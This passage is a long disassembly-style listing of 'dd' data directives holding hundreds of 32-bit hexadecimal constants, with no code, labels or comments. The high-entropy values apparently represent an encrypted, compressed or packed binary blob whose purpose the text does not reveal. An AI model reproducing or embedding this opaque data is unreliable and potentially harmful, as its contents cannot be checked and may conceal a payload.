dd 576434C8h, 0E9036105h, 9A44D502h, 55A36CB9h, 7FC52B1Fh
dd 1233B25Bh, 0E7A80710h, 0C28076C0h, 0EA752823h, 3059D5E5h
dd 7970B2F5h, 0F0E9D00Ah, 0DD988084h, 0F103FACh, 0D5876E63h
dd 4508D24Ch, 501CDFAh, 0E90BA353h, 0C7A5F8ACh, 4C1357F1h
dd 0D9A14E13h, 80409A60h, 9B0FEE81h, 0C92B4DF8h, 810BF0F7h
dd 0BD0067EDh, 0FD507EBEh, 0B909C7ECh, 0DE4A1016h, 8503928h
dd 0FA21255Dh, 0C500A3D4h, 0E973282Ah, 2053B4C8h, 57BCB5B3h
dd 243444B5h, 0AFCD1927h, 0E76F2055h, 0C769925Eh, 26B6DD0Ch
dd 8F7FA7D2h, 561256B3h, 0AC05D4A2h, 353A4E68h, 0CE5F88C8h
dd 0EC5F1440h, 2EB9608Ch, 0B03951BEh, 0BCBD5002h, 0EA2E2617h
dd 15865FADh, 9B2D5C4Eh, 8739A189h, 6802048Bh, 0DE27975Eh
dd 6C27421Fh, 582A3A7Fh, 9444E74Ah, 49EB9E00h, 5FE97864h
dd 7E26B553h, 0A14848A7h, 564F4F20h, 815E7500h, 41022CEh
dd 0F9682C1Ch, 9430EA55h, 2EF85C5Bh, 16A44548h, 8EE5901Eh
dd 4B7B1130h, 13BD434Eh, 3D8C723Ch, 9D225D40h, 0D2B2513h
dd 61DE681h, 826B753Bh, 935E3BCEh, 0D4575509h, 4DCE10C4h
dd 50AD750h, 34BB8BB8h, 0A0EB27FCh, 3BFDD117h, 8410328Ah
dd 0C2B05EC0h, 0A0C65B29h, 9311F67h, 0BAE8D210h, 0A2D63007h
dd 49F4C18Ch, 0F70F809Fh, 12FB87DFh, 0CC3F4668h, 0F940CF93h
dd 0EE832D5Dh, 0C42F16C7h, 63574843h, 6D122Eh, 0C8F2BF3Eh
dd 124C1FFh, 0A22F4BCFh, 0CB1AE9ADh, 0D7307AF9h, 0FC841003h
dd 925B6A04h, 251C8178h, 1AF056Fh, 0EF033665h, 1686300Ch
dd 4A72C6BFh, 0BF881255h, 0F35A80DAh, 475CCC9Eh, 25563868h
dd 0EE2DFF5Ah, 5EFA282Fh, 0E9D06EB6h, 64F49D13h, 0A487DB8Bh
dd 0FCBCE6E5h, 0DBA92C5Fh, 9D32C36Ah, 477A8620h, 5373822Dh
dd 74BA5B1h, 96AC67FBh, 0CCF2CB22h, 4BD9C395h, 9AFBB399h
dd 17C0FD2Ah, 2949C50Fh, 0FC4FCB9Ch, 0C566A7A9h, 984F7D90h
dd 0C8B78F04h, 1AA96887h, 460B5DBEh, 0AE418F05h, 90C0BCC3h
dd 0C489BF63h, 0FCC2212Eh, 98ABE405h, 5E0BC2F0h, 0DC0B8821h
dd 0F908A09Eh, 3DF6CB3Bh, 0E82BC151h, 4E801858h, 1746C34Bh
dd 167E05Ch, 0C863190Dh, 0D6188E22h, 5E370932h, 0C4155828h
dd 1EB8080h, 0E5B050C3h, 312CD8F6h, 4B58E527h, 0F38002DDh
dd 63DD2879h, 0FE811649h, 884701CBh, 0D1D6F6DEh, 8EE0E2F3h
dd 0C7B52370h, 6BAD26C6h, 98399C5Fh, 2C950505h, 8201507Ah
dd 88BED6Ah, 177F540Bh, 81B9A3CCh, 0BA4326C5h, 62F56B1Ch
dd 0D9FB0805h, 949D00B9h, 3E275309h, 0E121FF51h, 6A4BC068h
dd 282D632Ch, 0EA847CACh, 296B17B2h, 8F04AF0Ch, 0D78C9BCEh
dd 5B7F12C9h, 0D56B216Fh, 79F7C28Eh, 8F034918h, 0EF84D7AEh
dd 0B937FE6h, 2314D065h, 57766297h, 0E9A782F3h, 0FD658523h
dd 0FC99D20h, 29964537h, 0AFE44E84h, 7DB4DA37h, 4C35B017h
dd 2E68B140h, 0C5FB4E1Ah, 0B104D0A6h, 0C10E80A8h, 0BFC9FEA4h
dd 0C828F646h, 0FCDB20CCh, 0B54BE5F4h, 0D4B722FFh, 0BD07CAF8h
dd 266831B6h, 962173DEh, 3720295Bh, 28E04046h, 504D801h
dd 9C68032Ch, 794F612Fh, 1EAB045Ah, 9CA3C5Eh, 0A250B199h
dd 6C2CA026h, 0BA99E66Fh, 68573E20h, 65394789h, 4BB0688Fh
dd 46D1C0C1h, 3D35B800h, 0F7475100h, 17BB05D8h, 85775E65h
dd 0E0D0C46Ch, 83B05200h, 4BDE226h, 290B8B7Ah, 0F40BD740h
dd 8787E3DEh, 8942EABBh, 0DA7961CAh, 0A405BF72h, 0FA1E0F5Bh
dd 8C6520Ah, 9AFC5F15h, 3884661Ah, 0FE4E409Ch, 222F1B79h
dd 93022C4Fh, 93315741h, 7AC4650Ah, 48140EFCh, 558F1D8Fh
dd 73298349h, 84BB6575h, 0D7835AE9h, 0A6AE720h, 0C09613FCh
dd 4F626860h, 58189C00h, 0A3258D0Dh, 0FDE92F23h, 0D3EB5CA0h
dd 5290C645h, 0A8711E20h, 0CEEF33AFh, 0C24CD09Dh, 0D248F708h
dd 0C49E2DDAh, 55E3B040h, 6B78CF5Dh, 0AD18564Ch, 15C19759h
dd 0DD4662BFh, 0D75AA1E8h, 47C2BBBCh, 0F1E65708h, 0F19DD6F4h
dd 409E974Bh, 7525B8E8h, 0A9904129h, 0F17A6341h, 72FEE0FCh
dd 0C85A10CAh, 387D84CFh, 0B4BCB100h, 0CC0A30A6h, 0C9E28859h
dd 9015B10h, 210D5AD0h, 2105E53Ah, 0BB1DC43h, 631F6627h
dd 98C2ADC3h, 0E7A17FC3h, 38AE6FE9h, 0B75AE6A7h, 0C2008D5Ah
dd 780C17CAh, 194BBD55h, 0B0582A69h, 139D2BF3h, 137EDDEDh
dd 0C969B923h, 9A70152h, 708245B8h, 7B9B5CC1h, 6B2EEEC1h
dd 205539h, 701883F7h, 80CF264h, 2B60F1C1h, 28C216B6h
dd 72913F1h, 3550CE32h, 1AC7AEF4h, 0A12E82A9h, 0D7F600E5h
dd 8017FD86h, 9CF806EDh, 8694CB2h, 0E55E3A2Dh, 0E7C5D792h
dd 137975BDh, 0CD4CC40Dh, 84443B10h, 660C85BEh, 6948FC2Ah
dd 0E3BD2D89h, 9F83858Bh
dd 4806C987h, 0E5A0466Ah, 17AADA02h, 206396DDh, 0BA486C9Ah
dd 8407C409h, 12A129EEh, 866822C0h, 27396ABDh, 0CD810073h
dd 28ED49CFh, 920EC04Dh, 0E938B405h, 578D6A64h, 0F45F90F0h
dd 0EDFA4E2Fh, 7D258D29h, 29C2C6EFh, 95F2B8DAh, 0E85A4E52h
dd 7F827C8Ch, 96E599C2h, 62C3AFBBh, 27DDD082h, 21911709h
dd 65A13BE3h, 864A2C6Fh, 0F8EDCF4Bh, 0DFC188C7h, 0C313FED6h
dd 0E62BCDD9h, 3C0BD36Ch, 2C7BB0A4h, 534E80DEh, 4731D6C0h
dd 0E2BB4B3Bh, 8C152757h, 0E025DD76h, 0B5C6A01Fh, 0F005F7C8h
dd 0CD91E16h, 18EEDC0Ch, 0DF681856h, 0E76B6D33h, 9F51F99Fh
dd 8A7CC93h, 0BC3D41Fh, 2005C380h, 37983906h, 2EE39E59h
dd 910B9C54h, 7927E410h, 0DF162F5Dh, 0CD6601DCh, 6F5095E3h
dd 505BD22h, 893B51F1h, 48A1BC06h, 0B7A21065h, 6917573Bh
dd 0D766F92Fh, 0FE1657FFh, 0E909A52Ah, 91751180h, 5802AFAAh
dd 3089407Fh, 0F76F167Eh, 0D6AD11D9h, 5A02B84Ah, 0B6D141FAh
dd 87568728h, 487C500Ch, 84027DCBh, 0CF7EAB68h, 5676016Fh
dd 286F313Dh, 44002DB8h, 547E51Ah, 518075F9h, 8FF2D25Ch
dd 5A119407h, 0DE1048E6h, 805A0503h, 0C0FB7DEFh, 2895F72Bh
dd 0DB44F84Bh, 8BE4C723h, 69011E3Ch, 0D292C92Bh, 0FD04331Ah
dd 192DAB59h, 64B1D143h, 0ED31DA1Bh, 3BC9C52Fh, 825E2549h
dd 4690363h, 5180E064h, 4CB3B140h, 210984D8h, 8209CEFEh
dd 0D3F558C2h, 907F4995h, 2C32E447h, 13064039h, 7FEBF19Dh
dd 9F56222Ch, 89467E56h, 0D8DF206Ah, 70B5058h, 20D24F3Ch
dd 57B743C2h, 9AA6B36Dh, 0A389FF65h, 80020520h, 20862FCBh
dd 0F6F8B0DEh, 84D6584Dh, 47A3E1EFh, 0CFBC10h, 3A1DBABDh
dd 1FD1451Ch, 0D6FD87EDh, 73DC48Dh, 9780B69Bh, 0C9F13330h
dd 0F69A060Bh, 1611D6D9h, 84F6F9EAh, 4316ED8Dh, 87709DEBh
dd 0C9A3E610h, 4A4FB800h, 2D351B7Dh, 14C5B16h, 58D38BABh
dd 1E6901C6h, 452D212Fh, 0EB5358D8h, 4B16F060h, 2AC7F15Bh
dd 9431A900h, 4B96685Eh, 53892243h, 1D5DC380h, 815B3828h
dd 1BDB1C00h, 559CB89h, 0FEA1E7BDh, 1000BE3Ch, 6FC5E581h
dd 4D352541h, 2F56E556h, 9F8AB1E9h, 160CC258h, 0F70CD0C5h
dd 5ACACDAh, 0C16D4609h, 4B78F9E2h, 7FC7A462h, 6655FEE2h
dd 0D6F72616h, 36A03E39h, 49206848h, 59A680D2h, 481758Fh
dd 0F50AB3E1h, 6F3C115h, 0D5D283h, 0AB1030F9h, 0B2D0259h
dd 296BAC7Dh, 0FEE2FCE3h, 8EF0A7C6h, 0B3BA039Dh, 0F500F57Fh
dd 59C8885Bh, 0CC01AFEh, 77C4588Eh, 0CDD3ED01h, 0EA019920h
dd 0FD30996Bh, 0A7BC3AC2h, 2FE6E9A1h, 9CBEBB00h, 0F4114638h
dd 0FDCE5526h, 6C2C58D9h, 1062542Ch, 0A45C2D9Ch, 13AE9900h
dd 36D8EFE5h, 29AF405Eh, 0F0F0F776h, 0CC988954h, 0EC8F6C5Ah
dd 0AD3E5A41h, 13B2B485h, 1FCA721Bh, 0C63350B0h, 0A8293F7Bh
dd 754BFB15h, 0F7057814h, 6BC268E1h, 0E83DF744h, 98588BAh
dd 6E517782h, 9FC58C12h, 0D24FB6BEh, 5766480Fh, 530135E2h
dd 0B91380BBh, 4FAAF863h, 0E0A14EACh, 0D6F12050h, 0F2504081h
dd 7D04C134h, 5B90F4A0h, 0DE3CFBF3h, 0E8AE41A7h, 4DEDFF7h
dd 71873689h, 0DF05A5DEh, 0BD91D02Bh, 44017A3Fh, 5DEF0933h
dd 0E26B534Fh, 9890508Eh, 733B0616h, 1852C4FFh, 67E91C08h
dd 18B94E5Ch, 3532F852h, 0F81B5AC9h, 32E64A1Eh, 21E29F78h
dd 1A17E8C0h, 60910CC1h, 9E3C3D78h, 744DC0A4h, 6B64EA44h
dd 49FF8C66h, 4B7A58A9h, 667924FBh, 4C28BBFh, 5516D306h
dd 1797D8DCh, 6671EEC7h, 31C8F901h, 0DD78FCE9h, 0FF9683F3h
dd 73DAAB8Fh, 0D74F9572h, 54E045BBh, 19A6BE5Dh, 0E8A71F85h
dd 0ADDD849Ah, 66CF0B1Ch, 0B1004D9Ah, 0D12C5BF8h, 5FFF589Fh
dd 294B8293h, 0FC4F5C2h, 0E19A9BF8h, 0EFCE2AA0h, 516B1ABEh
dd 9F6A778h, 0C63E2808h, 0F895819Dh, 0F6A1205Ch, 19C3C3B0h
dd 7BC12959h, 6E1025DFh, 812DC5CCh, 12C872EFh, 0F3D02BE9h
dd 298DD2D9h, 0C479E86Bh, 96EA9D68h, 54BF96D9h, 0A0027A09h
dd 91511DC3h, 2E576804h, 887271FBh, 5C88A7B6h, 0B4B212DBh
dd 41FECEAAh, 3544C72Ch, 5F3B4002h, 2BB66030h, 0C958BF36h
dd 0AE5EC100h, 0CE298A8Ch, 0F7312559h, 55490874h, 0FB71D710h
dd 0AEC8525Bh, 0F10CA46Ch, 0AA2F0E10h, 0A6FC145Fh, 7537E9F0h
dd 0AAAB94BFh, 0EA675722h, 5F59CD09h, 690B0365h, 0F64D9437h
dd 16D96059h, 3D673558h, 0D2B88972h, 78CE9644h, 0B7C42856h
dd 0C2801799h, 7024E844h, 846CFD4Ch, 6804EF48h, 96C9E182h
dd 0E7D0C334h, 600F7B9Eh, 597D0C64h, 0E9177C16h, 5B407794h
dd 64AB680Ch, 0A48E09BAh, 0ADF11274h, 0BD19E907h, 0E9EE5F0Bh
dd 3C4E42FAh, 0CBECD6DDh, 0CFE8B756h, 91C574A3h, 62ADE2B0h
dd 74A027D6h, 3BB0079h, 5E65AE0Eh, 7CD7A709h, 0F36800E9h
dd 56F1250Fh, 0D697E8C5h, 0B7006FBCh, 0B90DAC38h, 4320B660h
dd 20639854h, 0BF12B2D3h, 62C167BEh, 81820503h, 0E79D12B3h
dd 2E515161h, 737908D9h, 0BC7B6017h, 302FA1B9h, 2B308C2h
dd 3EE86477h, 0B8F2BD63h, 2DC14457h, 17FCABB3h, 0C282DC4Bh
dd 0E7F60E59h, 5BDF6878h, 4E6E317Eh, 28CB81C7h, 473CAC27h
dd 13304620h, 80B244Ah, 0D824FD82h, 2842DE1Ch, 0CA5356B3h
dd 3DA85DD9h, 0DCB7098Bh, 659D6EDDh, 0BCC1EEDDh, 12F294C0h
dd 62E631A1h, 10535130h, 374A8526h, 7009DB1h, 0B5D60159h
dd 0E910AFE6h, 5F7E1C9Ch, 24D8A688h, 482D10C0h, 1F2C95B0h
dd 7AF8282Eh, 3F847848h, 0BD65C8FCh, 557A5E13h, 799D7600h
dd 7AE92AE2h, 5A60C421h, 186824Eh, 0F480C090h, 1F038C91h
dd 0D961EC77h, 0D5829EEEh, 309521B0h, 0F291EB77h, 0D866556Ah
dd 0CABD5506h, 6748275h, 0E92880C5h, 0AE0B0C32h, 800F0E3Fh
dd 0BA1D2DE4h, 0E4D6056h, 25737583h, 628C5EBFh, 6E553CB3h
dd 875154A2h, 69BD2768h, 392831DBh, 7F2CEA17h, 528082BBh
dd 68179B70h, 0ABA33876h, 0F476E85Ah, 18FF0925h, 61E95650h
dd 0BD227D00h, 40BA2468h, 58C52531h, 4F04DE78h, 5561651Dh
dd 70B144AEh, 1CA921h, 0ADE5999h, 2DAF681h, 0E94D8A4Ch
dd 47C90FADh, 5268C432h, 4636699Dh, 2D7BA97Bh, 0B867048h
dd 861CED18h, 52583D80h, 4500ADBAh, 0F2817101h, 4880CA03h
dd 26201CFDh, 5ED752B5h, 962DAC16h, 4AF0B109h, 0F1088059h
dd 906F7043h, 8BE72D71h, 0BBACC87Bh, 50ED1E12h, 0AA5F0C05h
dd 712EAD5h, 528BCBAFh, 5FAC1241h, 0C0D26ABDh, 4B4C7354h
dd 382F0A90h, 0B54F17Ah, 0E3F11448h, 0E0165712h, 0BBB85141h
dd 5E07350h, 0DA280009h, 31060D70h, 0E9EA518Ah, 4374B7E0h
dd 98C2CF27h, 9C4B6A43h, 4F8460F3h, 94A165A9h, 6C050090h
dd 7CB22729h, 0C10929D3h, 0BD8D2ADh, 48F2733Bh, 80BF392h
dd 0E8AF96D9h, 62116967h, 1DA49435h, 5F9F8DC5h, 0F9C03A4Ch
dd 6F5A73D0h, 0DEAAF5C6h, 805DA589h, 2A600962h, 92C4B749h
dd 62F0D99Dh, 0DD1808Ah, 0E856501Eh, 0C409185Fh, 2E1EFFC7h
dd 0DD3BE917h, 0D3EF3549h, 0FCDABCD8h, 0C5EBF483h, 6F98AEBCh
dd 0C629D0EBh, 60297127h, 5D8BA155h, 0E092F201h, 0E155C9B4h
dd 26D9FEFBh, 9ACBD1E2h, 75EE604Eh, 0B47BBD2Fh, 12E9A9B0h
dd 0B1EA9DA8h, 6E5D7D40h, 2106BA12h, 527C0EFh, 509DF808h
dd 2BEF3F49h, 0B1293712h, 13080528h, 4A171886h, 741275BAh
dd 0B3001582h, 66B618AFh
dd 161F4BE9h, 0C0E3BD54h, 0F78772Eh, 1862FBE9h, 2738A559h
dd 0EB0A6417h, 0A21D0D24h, 86A1ECD6h, 0D53AB62Bh, 0E2582F0Eh
dd 0F4205558h, 4D3A358Fh, 2D37534Ch, 4011D6F3h, 38D86850h
dd 581C1E00h, 1847E42Dh, 540766Dh, 0AF05F0D5h, 491DEB50h
dd 6B6A5C85h, 7026BF1h, 50CCC058h, 34025B8Fh, 5A04AAE6h
dd 1307E2h, 4649F5E5h, 5B5E027Ah, 0E3E523BAh, 0F895D9B6h
dd 7FCE097Ch, 0EC021B48h, 0BAF6E23Ch, 4459D2F2h, 40BD01FBh
dd 170E46ECh, 0FB587BC3h, 0F47F6A2Dh, 0F5410ED0h, 0EF40756Ch
dd 6EE604ADh, 99EE010Ch, 7443411Eh, 63DD7ABBh, 2338CEEDh
dd 0D204E95Eh, 0CC8EC9BEh, 185F1B68h, 51C56AE9h, 73CCABA7h
dd 42F6A028h, 9BEB5029h, 0EF20ACBh, 0EE50C6Ch, 11024107h
dd 0D64DD989h, 0F416680Bh, 6275C9C8h, 95C5D578h, 0E12AD1AFh
dd 2A4DE368h, 74EED8h, 0B9193E32h, 7D90AEADh, 58C12900h
dd 0A7685753h, 5F8A286Fh, 61A42094h, 0DDD4BA04h, 1A81954Fh
dd 28D14882h, 9736970h, 29143757h, 801A8C2h, 2A785FE9h
dd 34D96BDDh, 3F41997Bh, 0E9B04DFDh, 26955D26h, 0BBEC1CAh
dd 3735607Eh, 82409304h, 0ADF6BD86h, 20495C2Dh, 74E139FEh
dd 1B125D48h, 149D7DFh, 6E1DD265h, 0D05C1FCh, 823C8279h
dd 457DD83Ah, 29E2A96Ah, 25625EAh, 299F10A0h, 687AB019h
dd 30235AE6h, 9E308A9Eh, 3BFBF2B0h, 3E5335C8h, 0DDBEF3B3h
dd 8B0A3113h, 68559828h, 6AFEA55h, 65E9593Fh, 0D3B53F41h
dd 0D2B80059h, 0E9279D30h, 83CC6B69h, 0C587D534h, 0D6B04E3h
dd 582C6877h, 467AB5C1h, 7CC0122h, 0CAA3C61h, 5E86FF31h
dd 8F275095h, 0A7D3C047h, 95999F18h, 46136E10h, 68CA70BBh
dd 0F99A293Ah, 4BD25B5Eh, 6FA97FEDh, 0FE556AA7h, 0F1716F0Bh
dd 68E55167h, 1DFE6CD4h, 8FC0C20Bh, 63D0936Ch, 2516B03Ah
dd 249EF01Ah, 6F457C5Dh, 0AD9F3904h, 151E0081h, 0EA875FDAh
dd 0E906C24Dh, 0F17DB46Eh, 0E5F569DAh, 12540980h, 68412674h
dd 0DF8B5F8Bh, 8A745A1Bh, 0B6250880h, 0FA4B1F69h, 0E5B1AA40h
dd 0C22546h, 8906F5Fh, 5600A90Dh, 490EBB53h, 0FC244AB1h
dd 2164D63h, 366E43F3h, 28878144h, 0FABA3D71h, 919003A0h
dd 232FF11Ch, 0B51C32D6h, 3C6B12BFh, 6946F80h, 0B8265AA3h
dd 0B832607Ch, 2A146BEh, 20973507h, 5D743EF4h, 9FC2913h
dd 55661474h, 0AF10DD39h, 12953B65h, 87348499h, 0D82FF2A1h
dd 0BAB5D65Dh, 7DC4D5F8h, 0B05A0190h, 56376CFEh, 969EFC9Fh
dd 80554313h, 0E4C29BEFh, 0A22C68D6h, 0B549A458h, 394F0AE6h
dd 27BF3095h, 8F22B2C8h, 3302C768h, 0BBC164ABh, 0EE916F4Ch
dd 346936DEh, 26CBF493h, 0FF377142h, 6D79B303h, 0DEE21702h
dd 60542F12h, 11FB16Eh, 2335297Ch, 6879BD26h, 114D1009h
dd 0C10A5981h, 5330821Bh, 0D6482A6Ch, 4F7E08A5h, 22A2C120h
dd 3C7A255Fh, 0BE56FB40h, 5B7E081Eh, 0AA0FE444h, 6567804Fh
dd 582A55A3h, 0C50394C5h, 237F26A5h, 1B05E5EBh, 0FF565D58h
dd 0A050924Bh, 546FBD54h, 81165AB7h, 72EB01B4h, 7F91180Fh
dd 4E2EFC3h, 290CD055h, 126F84DFh, 10DBA808h, 0E84E0D7Fh
dd 0FE2CB419h, 16EA1CBAh, 14A12A8h, 670B4D87h, 0DABD3F54h
dd 3F2CB807h, 0A831D51Ah, 71EF2D40h, 0C43316C0h, 0F90BFA01h
dd 36DB0FF8h, 0CD2F40BBh, 55F74CB0h, 0FD7C8C92h, 0E9010EC4h
dd 556F7FA4h, 4AF04802h, 99989792h, 7195ED46h, 47E04258h
dd 5C03BE0Ah, 0C7DBA02h, 0DC0D4C62h, 0DD09CDEAh, 8077B454h
dd 754B378Fh, 0E00CC112h, 6F223D95h, 0CAEDD3C4h, 4D796081h
dd 0B7983006h, 56F87825h, 1FB9008Ch, 0DE011B7Bh, 7FD26817h
dd 0F40D8F3h, 0D3CF4FE9h, 0DC20E29Fh, 68409D25h, 0A73E9BC9h
dd 64CB157Fh, 37680C7Ah, 5D9AD976h, 0CB895A18h, 0DF75C15Dh
dd 4B6B67FDh, 42E42821h, 56990624h, 963C7FA7h, 0BB5EEE42h
dd 5C31DD6Dh, 4975D03Bh, 534BFA86h, 307E7FE9h, 6886D408h
dd 0D5B32696h, 322F402h, 246A543Dh, 1201024Ah, 1E604BDCh
dd 214F3387h, 82050EEh, 0DD489558h, 0A8EF8760h, 0D77E70EAh
dd 0E95C21BDh, 243F09F7h, 0FF30AFAFh, 0C15AD129h, 26F8AE50h
dd 3F11D57Dh, 6C14440h, 9DA1BC1Eh, 890403F0h, 6F8EE9C5h
dd 3E226803h, 3EA7BE85h, 0A2DF5F78h, 0E9F9C1EAh, 2F40BEF6h
dd 60AE5188h, 1BC50C2Ch, 50958B67h, 0CFA22C38h, 0E002C2E8h
dd 0FC3FC0Bh, 0EA46D0FDh, 0C3054BB6h, 3F7EB505h, 30255FF1h
dd 0D92612DBh, 0E4CEB80Fh, 923B31AAh, 91257EE8h, 0AB244A8h
dd 9070B96Ah, 0D719F009h, 1068F506h, 0B016CE05h, 0FC1A11B7h
dd 0D015F642h, 49FBAE9h, 0B3BE66D9h, 362C92FAh, 0CD590245h
dd 0D4A0E970h, 128B8BF1h, 7064F67Dh, 450663BAh, 67BE3E31h
dd 8AE9120Bh, 83B43174h, 54AC0220h, 0BE6A979Ah, 0AE04E356h
dd 1058167h, 0B055ACD7h, 82B462E9h, 0AE9D95Fh, 97524FEFh
dd 4E29AE54h, 56F8D045h, 0D669BB1Fh, 0B00FE86h, 2CEB446Ah
dd 0FE4C5AE9h, 62BEC174h, 0D0C95695h, 0F1A53BBAh, 4B20916Eh
dd 0C8E8144Dh, 12120B10h, 192B368h, 5E1D8A1h, 0D905F6BEh
dd 0A572801Fh, 3D093259h, 0B0440168h, 0C4036FAFh, 98395345h
dd 591EDD7Dh, 0DA1270B5h, 5ED6400Ch, 2DF88249h, 522F749Dh
dd 12146F57h, 62C69E50h, 5F5A5494h, 0DC42D973h, 15B27F29h
dd 51821751h, 0FDF4E1E9h, 61F6104Eh, 0C4112248h, 41A3E090h
dd 5CC03DC9h, 674C1768h, 2E0DD3BFh, 0CD202D1Ch, 0F6BA81E3h
dd 5D492DD4h, 0FD09ABA9h, 895D6161h, 0D1146494h, 0BEA96F5Ch
dd 0DD635E42h, 62AF5E88h, 43125F98h, 2AA1B11h, 0C55F8927h
dd 58C051C2h, 0ED1302B9h, 3302D4AEh, 611F64EEh, 38A0F1C5h
dd 0B9789508h, 75229A97h, 0B9C6829h, 0C6ABF705h, 0D8D4DBCBh
dd 97EDE2FEh, 8D8AD3BEh, 3850F495h, 0DAF60126h, 9976060Bh
dd 0BC6B5C35h, 33E4E42Dh, 76E59550h, 21236800h, 27E94CD7h
dd 209AE1C7h, 77A44455h, 6B0293FEh, 225586BAh, 0F5B37761h
dd 5D34D720h, 0CB83052h, 6F237A08h, 3DF30220h, 785D13E7h
dd 84DCE78Dh, 29DE2502h, 5F944102h, 0F71E6209h, 4CEBDC73h
dd 0A6594E5Fh, 4A0A1760h, 0EFC1FF04h, 31D7BBC0h, 0D7F8E4C7h
dd 0BE440408h, 51568A5Ah, 0DE39EC36h, 9B52792Dh, 7721D8A4h
dd 0A415DF1Ch, 356850A8h, 9560469Fh, 3A2056ECh, 3517CAFh
dd 0C96AE868h, 24B15D5Fh, 0BF1B5018h, 0AE053AC8h, 47E7D127h
dd 811D00FAh, 2B4236C7h, 0FD015D13h, 0D0FB8E65h, 0EF522535h
dd 0A4996B50h, 0E35FE202h, 575DE989h, 0DA9E0AFAh, 5A73542h
dd 8067BD5Bh, 0C71185C3h, 3EE1BF22h, 5E0841EBh, 802CB957h
dd 0BF48D108h, 172EF7ADh, 20CDE9B7h, 476EF32Bh, 2000D15Ah
dd 0D9ACC56Ch, 9FB6B009h, 2AFE8E00h, 8B970F59h, 501C5E1Ch
dd 0E98061BDh, 41A84B95h, 0DD52AF08h, 6DEA8041h, 0E93D7163h
dd 0CA85BFEBh, 0E2E806B7h, 0F726453Ah, 0D568C758h, 4606123Dh
dd 0EDC235ACh, 77BF11h, 0DA13B858h, 0EE833069h, 0EC06C690h
dd 0FC9F90E0h, 0EA6BCE03h, 752D807Bh, 625F6832h, 28B65FEBh
dd 6B8C0C40h, 0AA54FE9Dh, 0C03EC3Ah, 8F0C0315h, 7D04E920h
dd 6B2FB85h, 0B08BEA93h, 86850869h, 26844563h, 3263CE7Fh
dd 569B5C55h, 9C54CC06h, 2EA17918h, 5A78020Ch, 21DF118h
dd 1E824BAFh, 0BA0088C3h, 26C9167Ch, 31092145h, 0E96B8BA2h
dd 580C824Fh, 0DF2A8529h
dd 6A63440h, 0ACF669C0h, 4E5020DCh, 8651C131h, 0B0B77ED8h
dd 0F5A02089h, 0AB09BB6h, 98076395h, 1F5058C3h, 825287B4h
dd 933DE94Eh, 33880951h, 0CB500ADh, 0F3885350h, 5B75DCE4h
dd 0A820EE69h, 6FCFE8D1h, 6EACF763h, 0CCF7C4h, 8006EDC0h
dd 25A87BE5h, 875E6203h, 0C9F87C49h, 906B89FDh, 9F9DB87Fh
dd 0DFED8FD6h, 0F44BA83Bh, 4BE9F3DCh, 0ED0EC55Bh, 0BD03B4ACh
dd 0AA0EC1FCh, 0A0604E89h, 256886E9h, 84FE2378h, 0E91708A0h
dd 0F8CE6D1h, 516B0502h, 8C6C297Dh, 88C95D15h, 0FBCCDDB7h
dd 826357F6h, 0B9C39D8Ah, 0C5BE4123h, 4BEA7085h, 0EC6784EDh
dd 2CBA5A69h, 7E701C7h, 0E8285BB1h, 8524E62Eh, 0EC41C6E9h
dd 0AE7DCCBBh, 5BDFDE41h, 1D51BB60h, 802B3614h, 986999EFh
dd 3B0E2D0Fh, 0A125E66Dh, 49F07FB8h, 4527A03Eh, 0F5A9244Bh
dd 0C4FA2987h, 1CA0BCCCh, 81AE4595h, 2AFEC417h, 2D835818h
dd 41B52A0h, 77D53669h, 0E5E0AA5Dh, 67DD0FCAh, 53E452AAh
dd 48EDB227h, 4C220090h, 0BCB9352Ch, 6DF50474h, 1F80C8E9h
dd 0F064DC2h, 0EC944009h, 32C12774h, 4A767878h, 0F703E23Eh
dd 18CFC600h, 0E9D531A5h, 0BCBA5C05h, 3AF93F8Bh, 4820B9A0h
dd 87BD099Bh, 89806A4Eh, 0A302F8C1h, 10BE5F4Eh, 0C06008C7h
dd 6E15E5F1h, 1BFE509Fh, 4D1F707h, 74AC281Ch, 4EFB896h
dd 0B925412Fh, 381105D9h, 5EAF3049h, 31CB407Ah, 0E3E98469h
dd 0B9B83C4Ah, 6AEDC2A7h, 0FDAD3B56h, 42D67903h, 7E25067Fh
dd 0BD155BA8h, 0A80F6496h, 30BAA48Dh, 0E9FD8698h, 0E6E71029h
dd 0DEE7CE9h, 6020DA78h, 2D00CBC6h, 0A53507F8h, 1229AB27h
dd 4909E940h, 83595856h, 0B5FA73Dh, 0F7A0DDD6h, 0FB9DCBF1h
dd 1927057Eh, 89BF20C9h, 952CEA1Eh, 881BFDAh, 0E8C8FF5Eh
dd 600B613Eh, 568A9CE9h, 0A9956213h, 42505B02h, 0D9195530h
dd 454D0115h, 818B5E20h, 70F87F5Ch, 0FFDC98B2h, 0C8A81B2Eh
dd 4268240Bh, 148B110h, 0F6B394C2h, 0DA321478h, 496BF96Fh
dd 6B2C0F59h, 667650Bh, 7F12A14h, 594788EAh, 27B6B26Ch
dd 1D3C8390h, 11FF008h, 90820C7h, 0AD6FE958h, 0C5507154h
dd 0A67A0531h, 10F50136h, 293F08CFh, 0EB4EBB4Eh, 0CEEF7254h
dd 27B94EDDh, 554BE983h, 0ECB52605h, 0D81DD30h, 832A59EBh
dd 0AEE15143h, 0A3B7E728h, 0D8B32C04h, 7F0A1669h, 669C8DC6h
dd 61986804h, 0E9E161BAh, 5DBF240Bh, 5DD12125h, 49D6E89Ch
dd 0E6535AA0h, 0F2074B12h, 0B9510174h, 22B23787h, 0DC12446Ch
dd 0E7EF44FBh, 0D4BA3038h, 0C2425871h, 0D45AD516h, 0B1693h
dd 362423A5h, 0EF2DE969h, 0F6E2EEAFh, 891A5F66h, 7CD5E16Fh
dd 0F2681551h, 29FF4AE2h, 3A8B6E13h, 0CD541512h, 0FDFFA62Dh
dd 0A12F1A09h, 0D0017CBEh, 206EF03Eh, 2835126h, 202D7D1Dh
dd 14B5703h, 4A8D805Ah, 0C792F30h, 40951222h, 3C160703h
dd 0DB912734h, 0F62A1E7Eh, 0F8E02C27h, 0C17ED9A7h, 0C274ADE9h
dd 0EB7C717Fh, 0AA7D90D7h, 41F69F98h, 2F5C59h, 51BF5746h
dd 181E6B6Dh, 7E67D2E9h, 598BC93Fh, 7B5282B9h, 0E912D6B3h
dd 4B73820Ah, 1DED4855h, 5EF85CB7h, 536A403Bh, 19D60816h
dd 0DB88B816h, 4CDBF8C5h, 0CD808A1Eh, 43754E77h, 14484AF8h
dd 0E52DC03Ah, 98F3BDB6h, 0EB584B0Ah, 0C64DC41h, 0C2908A90h
dd 705531C6h, 0EE05E1A7h, 0CAFF3EC4h, 8FE913A1h, 86AD4A57h
